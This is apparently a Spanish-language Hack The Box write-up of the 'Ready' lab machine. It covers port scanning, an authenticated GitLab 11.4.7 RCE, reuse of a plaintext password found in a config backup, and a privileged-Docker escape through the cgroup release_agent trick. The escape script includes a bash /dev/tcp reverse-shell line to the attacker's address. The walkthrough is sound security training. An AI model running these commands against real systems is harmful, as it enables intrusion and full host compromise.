This page looks best with JavaScript enabled

Hack The Box - Ready

En Ready encontramos una version de GitLab con una vulnerabilidad que aprovechamos para obtener acceso en un contenedor de Docker. Escalamos privilegios con contraseñas almacenadas, tras una enumeracion encontramos que el contenedor de Docker tiene la flag privileged activado lo que nos dio acceso como root en el Host.

Informacion de la Maquina

Nombre Ready box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.10.220
Maker

bertolis

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.8, 5.7, 6.6, 3.4, 4.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos con nmap nos muestra el puerto ssh (22) y el puerto http (5080) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Nmap 7.91 scan initiated Tue Feb 16 18:21:59 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.10.220
Warning: 10.10.10.220 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.220 (10.10.10.220)
Host is up (0.098s latency).
Not shown: 43467 closed ports, 22066 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
5080/tcp open  onscreen

# Nmap done at Tue Feb 16 18:23:06 2021 -- 1 IP address (1 host up) scanned in 66.86 seconds

# Nmap 7.91 scan initiated Tue Feb 16 18:23:31 2021 as: nmap -p 22,5080 -sV -sC -oN serviceports 10.10.10.220
Nmap scan report for 10.10.10.220 (10.10.10.220)
Host is up (0.070s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 16 18:23:46 2021 -- 1 IP address (1 host up) scanned in 14.65 seconds

HTTP

Encontramos Gitlab en el puerto http 5080.
image

Nos registarmos y logramos encontrar que la version es 11.4.7.
image

GITLAB RCE - USER [CONTAINER]

Realizamos una busqueda de vulnerabilidades para la version de gitlab, encontramos una la cual permite ejecucion remota de comandos, para que funcione requieren de autenticacion, estar registrado en la plataforma.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
┌──(kali㉿kali)-[~/htb/ready/exploits]
└─$ searchsploit gitlab 11.4.7    
------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ---------------------------------
GitLab 11.4.7 - RCE (Authenticated)                                           | ruby/webapps/49334.py
Gitlab 11.4.7 - Remote Code Execution                                         | ruby/webapps/49257.py
GitLab 11.4.7 - Remote Code Execution (Authenticated)                         | ruby/webapps/49263.py
------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Utilizamos el primer exploit al cual pasamos los parametros requeridos, logramos obtener una shell con el usuario git y la flag user.txt.
image
image

ROOT [CONTAINER]

Realizamos una pequeña enumeracion en la maquina, encontramos que el lugar donde estamos es un contenedor docker, tambien una carpeta que contiene el “backup” de algunos archivos, entre ellos se encuentra el archivo de docker y backups de gitlab.

1
2
3
4
5
6
7
8
9
ls -lah
ls -lah
total 112K
drwxr-xr-x 2 root root 4.0K Dec  7 09:25 .
drwxr-xr-x 1 root root 4.0K Dec  1 16:23 ..
-rw-r--r-- 1 root root  872 Dec  7 09:25 docker-compose.yml
-rw-r--r-- 1 root root  15K Dec  1 16:23 gitlab-secrets.json
-rw-r--r-- 1 root root  78K Dec  1 19:20 gitlab.rb
git@gitlab:/opt/backup$

En el archivo gitlab.rb encontramos una contraseña, utilizamos esta contraseña con el usuario root y logramos obtener una shell root dentro del contenedor.

1
2
#git@gitlab:/opt/backup$ cat gitlab.rb | grep password |grep -v '^#'
#gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"

image

PRIVILEGE ESCALATION

Como se mencionó, encontramos el archivo del contenedor docker, con la configuracion de los puertos, servicios, red, etc. pero encontramos que el contenedor podria estar corriendo con “privilegios” (privileged: true).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
version: '2.4'

services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')
    networks:
      gitlab:
        ipv4_address: 172.19.0.2
    ports:
      - '5080:80'
      #- '127.0.0.1:5080:80'
      #- '127.0.0.1:50443:443'
      #- '127.0.0.1:5022:22'
    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
    privileged: true
    restart: unless-stopped
    #mem_limit: 1024m

networks:
  gitlab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.19.0.0/16

Realizamos la “explotacion” utilizando un PoC descrito en HackTricks con el cual logramos obtener una shell inversa y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/10.10.10.10/1339 0>&1" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
#head /output

image

Share on

Dany Sucuc
WRITTEN BY
Dany Sucuc
RedTeamer & Pentester wannabe